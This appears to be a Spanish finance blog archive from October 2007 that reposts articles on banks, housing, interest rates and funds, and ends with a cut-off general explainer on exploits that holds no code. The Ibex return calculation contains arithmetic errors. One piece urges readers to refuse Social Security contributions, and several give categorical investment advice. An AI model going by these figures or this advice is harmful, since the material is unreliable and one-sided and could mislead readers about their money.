30 de octubre de 2007

Manual de supervivencia para el ahorrador que va a la sucursal de la esquina (I)

Imaginemos que un paisano con aspecto de Forrest Gump se dirige a cualquier sucursal de una entidad cualquiera. Lo primero que nos viene a la mente es que unos invisibles seudópodos querrán apoderarse de su dinero con la sonrisa del secuestrador de niños de Pinocho. Pues bien conviene tener en cuenta algunos factores para salir airoso del trance.

En primer lugar olvide sus complejos. Es mucho mejor tener la actitud de Forrest Gump que asentir con la cabeza cuando le hablan de TIR, PER, TAE, cash-flow, mercado monetario, FIM, FIAMM, etc. En la mayoría de los casos el empleado de la sucursal sabe de economía financiera lo mismo que sabe de bioquímica un vendedor de cosméticos, es decir, poco o nada. Si usted asiente con gesto circunspecto cuando le hablan de la reposición del colágeno que elimina las células muertas con antioxidantes antialergénicos naturales en la dermis, es carne de cañón. Póngase en la actitud de Paco Martinez Soria en su versión más pura y que le aclaren cada punto y cada coma, y al final quizás se entere de que es el mejunje de siempre con un poco de vitamina C.

Si mantiene una postura de ignorancia sin complejos obligará al otro a explicarle las cosas, y solamente se explican bien las cosas si se sabe de ellas.

En segundo lugar: sepa como funciona el negocio. Un banco o una caja de ahorros es una estructura compleja. En España el sector bancario es una industria muy eficiente, quizás de las más eficientes del mundo, pero eso no implica que le vayan a dar un buen servicio, sino que la banca funciona a todo gas. Una sucursal está a las órdenes de la central de red e intenta alcanzar los objetivos que les marcan presionando mucho. La central de red dispone de unos productos para vender diseñados por ella misma o por otras divisiones de la entidad. Los productos se ponen a disposición de la red para ser comercializados. Una sucursal es una oficina comercial, nada más. En la medida que la central adiestre bien a sus comerciales y les de unas buenas directrices éstos darán un buen servicio a su cliente final. Esto último ocurre, pero no todas las veces.

El banco le conoce. Las entidades bancarias se caracterizan por conocer extraordinariamente bien a su cliente y gastan su buen dinero en ello, lo que es lógico en cualquier negocio. Como también es lógico intentará maximizar para sí el beneficio, pero esto no quiere decir que a cualquier precio. El banco lucha por mantener un equilibrio entre el máximo beneficio y la fidelidad de su cliente y esto lo busca de muchas formas: desde el “tengo que vender estos fondos de inversión que si no me echan”, vínculo emocional entre el comercial de la sucursal y el cliente, a “si hace un plan de pensiones tenemos estas estupendas promociones a elegir” y claro, con lo bonita que es la nevera de camping, como me voy a negar.

Con esto podemos concluir una regla de oro para el inversor ignoto que se adentra en una oficina bancaria: si le enseñan un jamón, una batería de cocina, el perrito nadador o similar, huya.

Garantizados, deuda estructurada y otros líos

Aquí es donde funciona bastante bien la actitud de Forrest Gump, pregunte cómo, cuando y de qué forma gana dinero, con ejemplos reales. En esta ocasión se juega con la aversión al riesgo del inversor. La idea es sencilla, usted no pierde el principal, pero si pasa ‘tal cosa’ puede ganar mucho. En la práctica los inconvenientes de los garantizados son varios: no puedo hacer líquida mi inversión cuando quiera y, el conjunto de circunstancias que tienen que darse para tener una rentabilidad razonable suele no darse.

Imagínese que con su dinero compra deuda y se gasta los intereses en un producto de altísimo riesgo. No pierde el principal, ciertamente, pero es que para hacer eso no hace falta meterse en líos, que en muchos casos se parecen al antiguo vendedor de peines que había en algunas bocas de metro.

El éxito que los fondos garantizados tienen en el mercado español es, sencillamente brutal, la razón es, posiblemente, una excelente práctica comercial. En el pasado ha habido muchos casos con rendimientos bianuales de un 1% o un 2% y en realidad solo van bien cuando la bolsa sufre unas revalorizaciones de escándalo. Si la bolsa se mueve poco (aún sin caer) la rentabilidad se viene abajo. La bolsa da unos saltos terribles, si no se puede elegir el momento de salida estaré a merced de la ‘ventana’ por la que puedo hacer liquidez. Otra desventaja es que por circunstancias puedo necesitar el dinero y en tal caso eso solamente podré hacerlo a costa de una comisión de reembolso que volatiliza la rentabilidad que pueda haber obtenido o más.

Hagamos un ejercicio sencillo. El Ibex, en lo que va de año se ha revalorizado la escalofriante cifra de un 43%. Una cartera normal tendría en riesgo aproximadamente un 20%, lo que implica que la parte de riesgo me habría proporcionado un 10,8% del total de mi capital. Por otra parte el resto me habría proporcionado una rentabilidad, digamos de un 3,5%. Tendría un total de un 11,46%. Es cierto que habría estado expuesto a riesgo, dado que tendría un 20% en fondos referenciados al Ibex, pero es que para encontrar un garantizado que me de, no ya un 12 sino un 10% habría que haber tenido la puntería de Lucky Luke. Busque las rentabilidades de los garantizados y se asombrará de la enorme cantidad que no llegan ni al 4%, y eso con la bolsa como un tiro, imagínese si, simplemente, se hubiera quedado quieta.

Fuente: Finanzas



23 de octubre de 2007

Mileurista por un mes

Un empresario italiano sube el sueldo a sus empleados tras comprobar que con su salario no llegaba a fin de mes.



Como si de un Robin Hood del siglo veintiuno se tratase, el empresario italiano Enzo Rossi, de 42 años, ha decidido subir el sueldo de sus empleados en doscientos euros netos al mes, después de haber intentado sobrevivir son su salario y llegar sólo hasta el día 20.

"Es justo tomar más de los ricos para dárselo a los pobres", ha declarado a la edición digital del diario italiano La Repubblica. El empresario se asignó un sueldo de mil euros para sí y otros mil para su mujer, que también trabaja en la sociedad, aunque reconoce que esos dos mil euros de ingresos son superiores, incluso, a los que tienen algunas de las familias de sus empleados.

Rossi, director de la fabrica de pasta Campofilone, explica que decidió hacer la experiencia porque "estamos volviendo al siglo XIX cuando en mi pueblo había condes y barones, por un lado, y aparceros, por el otro, y se decía que los cerdos nacían sin piernas porque los jamones debían ir a los señores". Y añade: "En los últimos decenios la vida de los trabajadores creció y la diferencia con las otras clases sociales había disminuido. Pero ahora se está volviendo atrás y hay que remediarlo", aseguró.

El empresario comenta que no ha sido capaz de llegar al día 20 después de haber pagado las facturas del agua, el gas, el seguro del automóvil y haber tenido cuidado en el gasto cotidiano. "Eso significa que en un año entero habría estado sin dinero durante 120 días al año; eso no sólo es pobreza, es también desesperación", afirma. "Me he sentido como uno cuando se sumerge en el mar a veinte metros de profundidad y descubre que la bombona de oxígeno se ha agotado".

Rossi, explica que en los dos últimos años los beneficios de su empresa han ido bien y, por tanto, "no es justo que el único en disfrutarlos sea yo". Y aunque este revolucionario no se define marxista, sino ex de derechas, sentencia: La plusvalía generada de la transformación de la harina y de los huevos debe dar también beneficios a los agricultores que me dan la materia y a los trabajadores de la fábrica".

18 de octubre de 2007

Los datos de Vivienda auguran lo peor: la primera caída real de precios desde la crisis de los 90

“¿Aterrizaje suave? Sí, sobre un bosque lleno de pinos”, ironiza un analista inmobiliario a la luz de los precios de la vivienda que hizo públicos ayer el Ministerio de Carme Chacón. No hace falta que lo diga el FMI. Los datos oficiales reflejan que los precios de la vivienda se han congelado en el tercer trimestre, pese a haber subido un 5,3% en términos interanuales. Para más inri, en once provincias españolas y en cuatro comunidades, las casas son más baratas en septiembre que en junio. De confirmarse esta tendencia, veremos en los próximos trimestres caídas de los precios de la vivienda a nivel general, algo que no ocurría en este país desde la anterior crisis de los 90.

Fernando Encinar, director de comunicación de Idealista, que no duda en calificar el aterrizaje de “brusco” opina que “el dato del tercer trimestre de 2007 es un parpadeo, una ponderación de zonas que se mantienen con otras que están cayendo, como ya veníamos adelantando. Lo importante a partir de ahora es la tendencia. Y lo que indica la tendencia es que los españoles tienen que quitarse la idea de la cabeza de que el precio de la vivienda nunca baja”. Encinar prevé caídas reales de los precios en los próximos trimestres.

“La última gran crisis que el sector recuerda fue la de los años 90. La sensación que tenía la gente es que los precios de la vivienda se congelaron, pero los precios reales cayeron entre un 15% y un 20%. Esta situación vino acompañada de un deterioro importante de la economía y de un fuerte incremento del paro”, explica.

Mikel Echevarren, consejero delegado de Irea, estima la caída real de los precios inmobiliarios entre los años 91 y 96 en un 26%. Precisamente, sobre aquella situación y su comparación con la actual versó parte de su ponencia en el foro que la consultora celebró ayer. “Entonces se seguían transmitiendo los mismos mensajes que ahora: el mantra de que los precios nunca bajan”, recuerda.

“Del 92 al 93, los precios de la vivienda cayeron un 12% en términos interanuales, a razón de un 3% por trimestre”, asegura Ricardo Vergés, a partir de los datos del Ministerio de Fomento de entonces.

Malos datos para Zaragoza, Lugo y Valencia

¿Y qué ha pasado este verano, según Vivienda? El metro cuadrado construido de once provincias españolas y de cuatro comunidades autónomas es hoy más barato que tres meses antes. Es el caso de Navarra (-3,1%), Galicia y Aragón (-1,5%) y Comunidad Valenciana (-0,2%). Las provincias que han visto cómo los precios han caído más en este trimestre han sido Zaragoza (-2,2%), Lugo (-1,5%), y Valencia (-1,1%). Destacar asimismo que La Rioja es la única comunidad que ha registrado una caída interanual del 1,9%.

Los datos de transacciones inmobiliarias (compraventa) en el primer trimestre y de viviendas iniciadas del segundo también abundan en la desaceleración pronunciada. Así, de enero a marzo de 2007, el número de compraventas de viviendas iniciadas fue de 221.284 unidades, un 5% menos. Más de la mitad (55,9%) fueron de segunda mano. El número de viviendas compradas por los residentes españoles fue de 191.260, lo que supone el 86,4%, por los residentes extranjeros 26.395 (11,9%), por los no residentes 2.596 (1,2%) y otros casos 1.033 (0,5%).

En cuanto a las viviendas iniciadas, en el segundo trimestre de 2007, el número fue de 139.732 unidades, con una caída del 15,4% respecto al segundo trimestre de 2006. En los últimos doce meses, se han iniciado 630445 viviendas, un 5,3% menos que en los doce meses de 2006.

Para hacernos una idea de lo ‘suave’ que es el aterrizaje de los precios, el propio Ministerio destaca que cuando se creó, en abril de 2004, los precios subían un 18,4%, un 70% más que actualmente. Y es que, según señala Vivienda, la subida interanual del 5,3% es el crecimiento más bajo experimentado desde 1998.


Fuente: ElConfidencial

17 de octubre de 2007

Enseñar a los niños lo que es el dinero

¿Dejamos a nuestros hijos que aprendar a ahorrar en lugar de gastarlo todo? ¿Lo que significa el dinero? ¿Lo que cuesta ganarlo? ¿Como hacer que trabaje para nosotros? ¿O dejamos que lo aprendan en la universidad?

Pienso que al igual que para aprender a montar en bicicleta, hay que dejarlos que practiquen ellos solos y que incluso tengan alguna caida, su própia gestión del dinero disponible es algo que deberian de aprender bastante antes de llegar a la universidad.

Y aunque parezca que es un tema tabú, al igual que en muchas familias el tema del sexo, hablar de dinero es algo que no deberia darnos vergüenza, tengamos mas ó tengamos menos. Tan importante es saber que tienen que estudiar para poder trabajar y ganarlo, tambien que no pueden gastarse todo lo que ingresan y que tienen que buscar la mejor forma de ahorrar para el futuro, aunque sea para comprarse una bicicleta nueva ó una videoconsola para las próximas navidades.

Tendemos a darles lo mismo que recibiamos de nuestros padres, una pequeña asignación semanal que practicamente no nos llegaba a la semana siguiente, siendo lo primero que aprendiamos el como habia que pedir un nuevo adelanto. Ademas, esa pequeña asignación se complementaba con las "extras" que nos daba mamá cuando necesitabamos algo mas. ¿Qué es preferible dar a un niño?, 5 Euros semanales, ó 25 Euros y permitirle que tome sus própias decisiones sobre como administrarlo.

Creo que la segunda opción es mejor, pero antes hay que hablar con ellos sobre qué hacer con él, las formas de ahorro que tienen disponible, posibles pequeñas inversiones, etc. La idea es que aprendan cuanto antes sobre la responsabilidad que tienen sobre su dinero y las consecuencias de sus decisiones.

El fondo de inversión ó cuenta de ahorro de nuestro hijo, con un saldo de 50 ó 100 Euros tendrá unas tasas de retorno, que sinceramente lo aburrirán, y estará deseando gastarse el dinero ya, porque el banco apenas le dará nada. Tenemos que involucrarnos nosotros y ofrecerles una cuenta en lo que podemos llamar "el Banco de Papa". Nosotros guardaremos el dinero y le podemos ofrecer, por ejemplo, un 5% mensual. Contando con un ahorro de 100 Eur, obtendrá 5 Euros adicionales cada mes, detalle que ya deberia de activar su interés por las gestiones económicas.

Para quien tenga mas interés por estas ideas, puede echar un vistazo al libro The First National Bank of Dad en Amazón.

Fuente: Trading blog

11 de octubre de 2007

Ojo con las cajas

Un 70% de los créditos de las cajas está expuesto al negocio inmobiliario, según refleja el Boletín Estadístico del Banco de España. Esto supone una concentración de riesgos preocupante en un escenario como el actual. Así lo ha recogido Moody´s al advertir que cinco entidades iban a ser castigadas con una rebaja de sus ratings. De hecho, desde hace semanas corren por los mentideros económicos de la villa insistentes rumores, reales o imaginarios, sobre la salud de algunas instituciones financieras, en especial, la de algunas cajas importantes. Sea cierto o no, la realidad es que la apuesta inmobiliaria de las cajas no parece responder a la prudencia. De hecho, se han comportado como las «Saving and Loans» americanas a finales de los ochenta del siglo pasado y ya saben como terminó la historia.
Sería lamentable que fuese precisa la crisis de una o varias cajas de un cierto tamaño para poner de manifiesto la necesaria reforma de esas singulares corporaciones. Sin un control efectivo por parte del mercado de capitales y/o de los accionistas, la buena o mala marcha de las cajas depende tan sólo del sentido común de sus gestores y sus administradores. Permitir que más de la mitad del sistema financiero repose sobre una garantía tan frágil es peligroso. Eso se visualizará si los efectos de la «tormenta» terminan por afectar de manera sensible a alguna caja. Esas situaciones críticas son las que llevan siempre a adoptar cambios en este santo país.
El futuro de las cajas pasa por su desmutualización o por cualquier otra formula que las fuerce a someterse al control del mercado. Si esto no se hace, antes o después, tendremos problemas. Ojalá que la tormenta no golpee de manera contundente a ninguna caja, pero esperemos el temor a que eso pueda ocurrir haga que los reguladores hayan visto las «orejas al lobo» y actúen. En cualquier caso, una concentración de créditos hipotecarios como la poseída por las cajas es para echarse a temblar.

Fuente: LaRazón

8 de octubre de 2007

El timo colosal de la Seguridad Social

Uno de los mejores modos de hacerse muchos enemigos en muy poco tiempo es defender en público la supresión de la seguridad social mediante la privatización de los dos servicios esenciales que presta: la atención médica y las pensiones de jubilación. No es extraño. Con el cuento de la Seguridad Social los políticos han hecho su mejor negocio en varios siglos. El sistema ofrece al Estado una terna de poderes difícilmente igualable. Mantener un seguro social implica, por un lado, una fiscalidad altísima que, además, tiene patente para crecer eternamente porque con la salud –nos dicen- no se juega. Semejante atraco tiene como consecuencia principal la creación y enaltecimiento de un elefantiásico aparato burocrático cuyo objetivo será aumentar en número y perpetuarse casi sin límite. Expoliado el ciudadano de una buena parte de su renta y establecido con firmeza el leviatán funcionarial el político recoge entonces el fruto final de todo el invento; una poderosísima herramienta de control social, una inmensa red de clientela que, como un pulpo, asfixia a toda la sociedad y una magnífica coartada para seguir haciendo propaganda sin rubor de las bondades del Estado.

Pero, ¿siempre ha sido así? ¿Cuándo se inventó el Seguro Social y por qué? ¿Se moría la gente abandonada por la calle antes de que a esa lumbrera se le encendiese la bombilla? ¿Se suicidaban los trabajadores mayores de 60 años ante la insoportable perspectiva de su retiro? No. La Seguridad Social es un invento maligno pero relativamente reciente. Antes de que los políticos consiguiesen imponerlo por la fuerza existían mutuas de trabajadores del mismo oficio que ponían en común un fondo para asegurarse la asistencia sanitaria en caso de accidente y algo de dinero para la jubilación. De hecho, y aunque suene irónico, se trata del mismo modelo que siguen ahora los funcionarios públicos, verdadera casta laboral que vive al margen del propio paraíso que ellos gestionan. Lógico, el que mejor puede cuidar de la propia salud es uno mismo destinando una cantidad mensual y gestionando los riesgos de la mejor manera que puede aunque, como es obvio, no sea siempre la más adecuada. El Seguro Social, por el contrario, rompe con el sentido común y obliga a una parte de la población a pagar la asistencia a la otra. Es como si usted, que acaba de comprarse un coche gracias a una combinación de esfuerzo y ahorro, tuviese que aportar un dinero todos los meses para que un individuo que no conoce y que no conocerá en su vida pueda adquirir un automóvil. Muchos dirán que no es lo mismo un coche que la salud. Quizá no lo sea para ellos, pero en la escala de prioridades de muchos un automóvil deportivo tiene mucho más valor que tener a su disposición un podólogo gratis toda la vida. Es una cuestión de preferencias y, en eso, cada uno tiene las suyas.

Pero el sistema no termina su ración de injusticia en la asistencia sanitaria, eso sería pecado venial. Para garantizarse la clientela de por vida los padres del Seguro Social se apoderaron de las pensiones, es decir, los ahorros capitalizados de toda una vida para hacer frente a la vejez. Las pensiones públicas fulminan el concepto mismo de ahorro pues el pagador no ahorra un solo euro, se limita a satisfacer una cantidad para cubrir la pensión de los que hoy están jubilados. Esto, en los seguros privados, tiene un nombre; se llama estafa y los responsables van directos a la cárcel. El Estado, en cambio, lo puede hacer y hasta permitirse recordarnos de tanto en tanto que la pensión no la tenemos garantizada porque no hay caja sino una cañería por donde fluye mensualmente lo que unos pagan y otros reciben. Siendo injusto, cuando la pirámide demográfica es una pirámide propiamente dicha el sistema, mal que bien, funciona. El problema surge cuando la pirámide se invierte o se torna una columna en la que hay tantos habitantes de 30 años como de 60. En esas estamos en casi todos los países de Europa. Pronto tocaremos a un jubilado por trabajador. Entonces, ambos extremos de la cañería vivirán en perenne estado de cabreo. Los unos porque pagan mucho y no le ven mucho sentido a financiar la jubilación a alguien que no sea su padre o su tío. Los otros porque cobran poco, poquísimo, mucho menos de lo que pusieron cuando se encontraban activos. El único que habrá ganado con la transacción será el Estado que tendrá a los dos cogidos por el cuello, sin posibilidad de escapar y sometidos a mil y una amenazas.

¿Cómo puede, entonces, mantener su lozanía un sistema tan injusto, un tinglado que cambia euros por céntimos y que casi nadie se atreve a poner en solfa? En parte por la clientela que crea a su alrededor. A muchos les reconforta saber que reciben mucho más de lo que aportan y para una buena parte de jubilados la pensión es un regalo porque no ahorraron nada cuando estaban trabajando. Al resto, a los que sospechan del timo, se les bombardea con cantidades ingentes de propaganda en la que la palabra solidaridad hace su agosto. Desconfíe, la solidaridad o es voluntaria o no es. El Seguro Social es de suscripción obligatoria luego de solidario tiene poco, de robo, sin embargo, mucho. Si está trabajando no pase por el aro y niéguese a que obliguen a pagar la Sanidad a otros. Si está jubilado reclame su dinero, es lo menos que puede hacer tras toda una vida de sacrificio.

Fuente: DiazVillanueva

5 de octubre de 2007

Los vendedores bajarán hasta un 20% el precio de sus pisos

La caída del boom inmobiliario empieza a preocupar a los propietarios de pisos en venta. Así, mientras que hace años era impensable que los propietarios bajaran el precio de sus pisos en más de un 5%, ahora estos empiezan a ceder ante la caída de la demanda y están dispuestos a realizar rebajas de precios en las viviendas de segunda mano de hasta un 20% en lo que queda de año. Así al menos lo asegura la Red de Expertos Inmobiliarios (REI), que además, augura que esta tendencia se mantendrá también en 2008.
Este cambio de tendencia ha hecho que sean ahora los potenciales compradores los
que empiecen a coger la sartén por el mango. Una sartén que hasta hace muy poco tiempo era exclusiva del vendedor. Por esta razón, la REI, que agrupa a casi 200 agencias inmobiliarias, asegura que “es un buen momento para comprar una vivienda”, ya que incluso “se puede escoger piso”, mientras que “hace tres años se compraba lo que había”.
Así, el presidente de la organización, Eduardo Molet, afirmó que se acabaron los tiempos de los bajos e interiores oscuros y mal distribuidos. “Actualmente, al haber más oferta, se están vendiendo los pisos altos, áticos, soleados, con vistas, etc.”, añadió. Además, considera que son dos “significativos” los que explican las ventajas que tienen ahora los potenciales compradores: el escenso del número de transacciones y el considerable aumento de pisos en venta.
Sin embargo, desde la Red Expertos Inmobiliarios no confían en que se mantenga la caída de la demanda a largo plazo ya que la cultura de la compra está bien anclada en un país donde el 87% de los españoles vive en una casa en propiedad y en el que
la compra es sinónimo de inversión. Además, según Molet, las actuales políticas de
alquiler, en alusión al Plan de Ayuda a la Emancipación y al Fomento del Alquiler del
Ministerio de Vivienda, “tampoco ayudarán a invertir significativamente esta tendencia”.

Fuente: negocio & estilo de vida

4 de octubre de 2007

Los tipos se quedan en el 4%

Por segundo mes consecutivo el BCE no ha subido los tipos de interés, con la diferencia de que ahora no había apenas dudas. La inflación sigue al acecho (en España hemos vuelto a niveles cercanos al 3% y en pocos meses previsiblemente estaremos por encima de dicha cifra) pero hay otros nubarrones en el horizonte que impiden de momento seguir subiendo los tipos.

Por un lado tenemos la crisis de liquidez, que crea muchas presiones en el BCE para que no suba los tipos (presiones incluso políticas). Por otro tenemos a la Fed, que al bajar los tipos nos ha llevado a un tipo de cambio entre el dólar y el euro récord. Y si subimos los tipos en Europa posiblemente batiríamos nuevas marcas.

Así están las cosas, con la inflación a la vuelta de la esquina y con pocas posibilidades de que los tipos suban. De todas formas aunque los tipos sigan en el 4%, debido a la falta de liquidez bancaria para el público en general es como si estuvieran más altos, ya que el Euribor a largo plazo se comporta como si el tipo oficial de interés fuera el 4,5%.

Fuente: El Economista

PEPE, MARUJA Y DIETER HELMUTH

Relato sobre cómo Pepe y Maruja necesitan de Dieter Helmuth para satisfacer sus necesidades y caprichos.

Las actuales turbulencias de los mercados financieros y las bolsas de valores se adjudican a la “falta de liquidez”. ¿Qué es eso y porqué influye tanto en nuestras vidas?. Veamos.
Pepe y Maruja decidieron hace tres años irse a vivir juntos y solicitaron una préstamo (hipotecario) para la compra de su vivienda. Del banco salieron muy contentos, pues les dieron el 100% de importe requerido, 150.000 € y con TAE del 3.25%. Mientras tomaban un aperitivo para celebrar el acontecimiento, leían en el periódico que la inflación interanual era de 4.25% ¡que chollo! comentaban entre risas, la inflación me paga un 30% de la casa!. Un año después deciden comprar un segundo coche y hacer un viaje al Caribe; recientemente cambiaron el SEAT IBIZA por un BMW. Siempre estuvo ahí el “banco amigo” financiando sus necesidades y caprichos.
Pero ¿Quién es en realidad él que le presta el dinero a nuestra joven pareja?. El banco, amigo mió, es un simple intermediario; en realidad quien les presta el dinero es Dieter Helmuth, un comerciante alemán con gran capacidad de ahorro que tiene depositado su dinero en una entidad bancaría alemana. ¡Pepe y Maruja nunca llegaron a suponer que en realidad no era el “banco amigo”, sino un desconocido alemán el prestamista.
Pero Dieter lógicamente, quiere para sus ahorros de 150.000 € el mejor interés, ¡y quien no!, y en su “banco amigo” (en este caso alemán) le aconsejan colocar su patrimonio un Fondo de Inversión “que invierte en deuda diversificada con garantía hipotecaria bien calificada por Moddy´s”, que en el último ejercicio tuvo una rentabilidad del 35% anual. También le ofrecen una emisión de Obligaciones Convertibles que ha lanzado su propio banco para disponer de liquidez y emprender una campaña agresiva de crédito hipotecario a bajo costo destinado a inmigrantes (créditos de baja calidad, las hoy famosas Subprime).
Como hace pocos meses cualquier producto financiero subía sin parar y el desprecio por el riesgo era total, nadie hacia caso a la letra pequeña: “rentabilidades pasadas no suponen rentabilidades futuras” ni tampoco de las garantías de la inversión, Dieter decide “diversificar” su capital entre los dos productos, que son en realidad el mismo perro con distinto collar. La rentabilidad anualizada del capital de Dieter rondaría el 35% según su gestor financiero.
Bien, razonemos, ¿Cómo puede ser que Dieter perciba por el mismo capital que Pepe y Maruja solicitaron en préstamo 35% de rendimiento, cuando la joven pareja paga por el dinero 3,25%; eso significa que Dieter ingresa exactamente ¡el 1.000% mas! de lo que paga la pareja. Sí, no es un error, ¡es un horror!. Ningún sistema de crédito puede durar con esas premisas eternamente, si bien es cierto que durante siete años funcionó, la ingeniería fingiera tiene sus límites.
En que situación nos encontramos hoy; Pepe y Maruja ya están pagando por su crédito el 5.25%, les pesa, pero lo pueden pagar, auque tienen miedo de no poder hacerlo en el futuro y deciden reducir gastos. Dieter está acojonado, porque con la que esta cayendo le ha entrado pánico y vendió su Fondo de Inversión y liquido las Obligaciones Negociables, para lo cual el “banco amigo” le ha tendido que entregar cash que era lo que exigía Dieter.
Como Dieter hay cientos de miles y si todos corren al banco a retirar su dinero, el sistema colapsa y se cae; de momento no hay nada de eso pero …… ahí esta el N Rock, todo un banco Ingles que vio como sus clientes hacían cola en la puerta del banco, mientras la cotización de N Rock en el la bolsa de Londres bajaba un 80%.
Si ser alarmistas, la realidad es que la plaza se “ha secado” de dinero; los potenciales futuros pepes y marujas ya no se animan a ir al banco a pedir “lo suyo”, pues tienen miedo de no poder hacer frente a la hipoteca; los dieter tiene miedo y no confía en lo que su banco les ofrece, y los pepes y marujas desconfían de la bonanza económica y no gastan mas que lo justo; y como el miedo es libre ……..todos desconfían de todos.
Conclusión: al escasear el dinero por la falta de confianza de todos los operadores, el volumen del negocio financiero se reduce, y como la financiación es el combustible de toda la economía, la actividad decae, ¿Cuánto? ¿Hasta cuando? Nadie lo sabe. Cuando lo que falta es la confianza, nadie se atreve a poner un límite, aunque modestamente creo que la sangre no llegará al río.

Fuente: Articulos del conejo

3 de octubre de 2007

Cómo funcionan los bancos

Sin duda una de los mejores trozos de la pelicula Consursante de Rodrigo Cortés que ya hablé de ella en su dia, muy recomendable. En este trozo epxlica más o menos cómo funcionan los bancos.



Renta 4 aprueba su salida a Bolsa

Los accionistas de Renta 4 aprobaron la salida a Bolsa de la compañía, en la junta general extraordinaria celebrada el pasado sábado, "una vez cumplidos los requisitos y procedimientos legalmente establecidos".

En la junta extraordinaria también se acordó una ampliación de capital con exclusión del derecho preferente de suscripción, así como el desdoblamiento (split) del valor nominal de las acciones emitidas, a razón de dos nuevas por cada uno de los títulos antiguos.

La entidad, que se convierte así en la primera empresa del sector que decide cotizar, precisó que el procedimiento de salida a Bolsa, como es habitual en este tipo de operaciones, está sometido a la verificación por parte de la Comisión Nacional del Mercado de Valores (CNMV).

Renta 4 anunció a finales de agosto su intención de comenzar a cotizar "dentro del marco de su proceso de expansión", con el objetivo de "incrementar los fondos propios de la compañía para establecer las bases de una nueva etapa de crecimiento". Además, la firma precisó que la salida a Bolsa también responde a su intención de "potenciar la marca como un referente en los servicios de inversión" en España.

La firma de inversión explicó entonces que la operación contará con una oferta pública de suscripción (OPS), sin perjuicio de la posibilidad de un pequeño tramo de Oferta Pública de Venta (OPV) y reveló que la entidad coordinadora global de la operación será ING Whosale Banking.

Asimismo, indicó que la salida a Bolsa se proyectará en tres tramos, uno minorista en España, un tramo dirigido exclusivamente a inversores cualificados en España y otro a otros países de Europa.

En lo que va de año, cuatro compañías han saltado al parqué: Clínica Baviera, Realia, Solaria y Almirall, a las que se unen las 10 OPV registradas el año pasado.

250 empleados y 56 oficinas en España

Renta 4 cuenta en la actualidad con más de 250 empleados y con una amplia red de distribución especializada en servicios de inversión, constituida por 56 oficinas en toda España, orientada a ofrecer servicios de alto valor añadido de asesoramiento, intermediación y gestión de inversiones a todo tipo de ahorradores, particulares, institucionales o empresas.

La compañía gestionaba a junio de 2007 un patrimonio de 3.700 millones de euros.

Fuente: ElMundo

2 de octubre de 2007

Los fondos de Bestinver bajan, como todos

Bestinver ha pasado una mala racha

Durante las últimas semanas, los fondos de Bestinver han cosechado unos resultados bastante pobres, lo que resulta preocupante para quienes justo hayan entrado en Bestinver como "escudo" frente a los vaivenes del mercado.

¿Acaso Bestinver son infalibles?

En los foros y blogs se recomienda tanto a Bestinver, que más de uno entra creyendo que es la solución perfecta, que Bestinver nunca cae y que sus fondos son absolutamente seguros; pero nada más lejos de la realidad: Los fondos de Bestinver tienen subidas y bajadas, como todos. Y tienen periodos, como el actual, donde incluso lo hacen peor que la media. Y quien no esté preparado para aceptar los vaivenes, que se coja los fondos más conservadores de Bestinver (el Bestinver renta), o que invierta en cuentas de alta remuneración y fondos de dinero.

¿La mala racha es indicio de que Bestinver ya no va bien?

Ni mucho menos, más bien es indicio de que el mercado no va bien. Bestinver lo ha venido haciendo bien desde el pinchazo de la burbuja puntocom, pero hay que recordar que cuando en plena burbuja todos los índices subían, ellos sacaron 1999 en rojo, debido a que no entraron en el juego de las puntocom; y de la misma forma, los fondos de Bestinver tampoco han aprovechado la burbuja inmobiliaria, y se han mantenido al margen de Sacyres y Astrocs durante toda la euforia, lo que le da más mérito a sus buenos resultados.

La inversión value de Bestinver también tiene sus rachas

Los mercados alternan periodos de sensatez con periodos de irracionalidad, y en los periodos de irracionalidad los inversores value como los fondos de Bestinver suelen obtener pobres resultados. Sólo el paso del tiempo acaba poniendo las cosas en su sitio, pero no sabemos si "el tiempo" son unos cuantos meses o unos cuantos años.

Y entonces, ¿que hacer con mis fondos de Bestinver ?

Cuando Bestinver empieza a ir mal es señal de que hay muchas empresas que se están alejando de su valor "justo", poniéndose muy baratas. Temporalmente, los fondos de Bestinver bajarán; pero son esos momentos los que le dan a Bestinver el potencial para batir al mercado, pues ahí aprovecha para ir de "caza de gangas" y comprar acciones a precios interesantes. Por lo tanto, cuanto peor lo estén haciendo los fondos de Bestinver, mejor momento para comprar más, tanto si hablamos de fondos de Bestinver como de nuestra propia cartera de acciones de largo plazo.

Fuente: http://www.mejores-opiniones.es/fondos-inversion/bestinver/

Ejemplo de funcionamiento de un exploit

Quienes no saben lo que son los exploits les sugiero que lean detenidamente este artículo porque son justamente estas herramientas las que utilizan los crackers para infiltrarse en sistemas desprotegidos o descuidados, los cuales muchas veces permiten accesos de root o Administrador en la máquina afectada. Vamos por paso, en primer lugar ¿que es un exploit?. Son pequeños trozos de código (en cualquier lenguaje) que están escritos para aprovecharse de vulnerabilidades y/o errores específicos dentro de un sistema... para lograr acceder a él de forma ilegítima o causar otro tipo de problemas. Hay que tener en cuenta siempre que TODOS los software del mundo son desarrollados por humanos, por lo tanto es normal encontrarse con errores en los códigos. Estos errores, comúnmente llamados bugs, pueden ser del tipo desbordamiento de búfer (buffer overflow), condición de carrera (race condition), errores de validación de variables, etc, etc.

Por ejemplo si se encontró un error en un software de correo el cual al enviar un telnet al servidor y ejecutar una serie de instrucciones, satura el búfer del software de correos y provoca una denegación de servicio (DoS). Entonces un hacker escribirá un código que sirva para explotar (de ahí el nombre "exploit) esta vulnerabilidad y con un par de instrucciones más quizá sea posible abrir un acceso remoto con permisos de root en el servidor afectado.

Podríamos catalogar a los exploits en dos tipos diferentes:
1.- 0-day
2.- Públicos

Los exploits de tipo 0-day son aquellos que los hackers mantienen ocultos al mundo y los utilizan para explotar los sistemas que quieren. De alguna manera son trozos de código privados.
Por otro lado los exploits públicos son aquellos que los hackers decidieron no utilizar más en su propio beneficio y los liberan públicamente a algunos de los sitios webs más conocidos como www.milw0rm.com, www.securityfocus.com, www.packetstormsecurity.org, etc. Muchas veces pueden pasar varios meses o años entre que el exploit pase de condición 0-day a ser público. Es por esto mismo que los primeros son más peligrosos, ya que al no conocerse la vulnerabilidad y no ser pública entonces existen muchos más servidores afectados cuyos administradores ni siquiera se enteran de que pueden ser atacados. Al hacerse públicos, normalmente se entrega la solución o bien los fabricantes de software reaccionan y sacan una actualización de seguridad crítica.

Esta es la razón por la cual hay que siempre tener dos cosas presentes:
1.- El tipo de software y la versión exacta que tenemos instalado en nuestras máquinas, ya sea como cliente (ejemplo Microsoft Outlook) o servidor (Exchange, Postfix, Sendmail, etc)
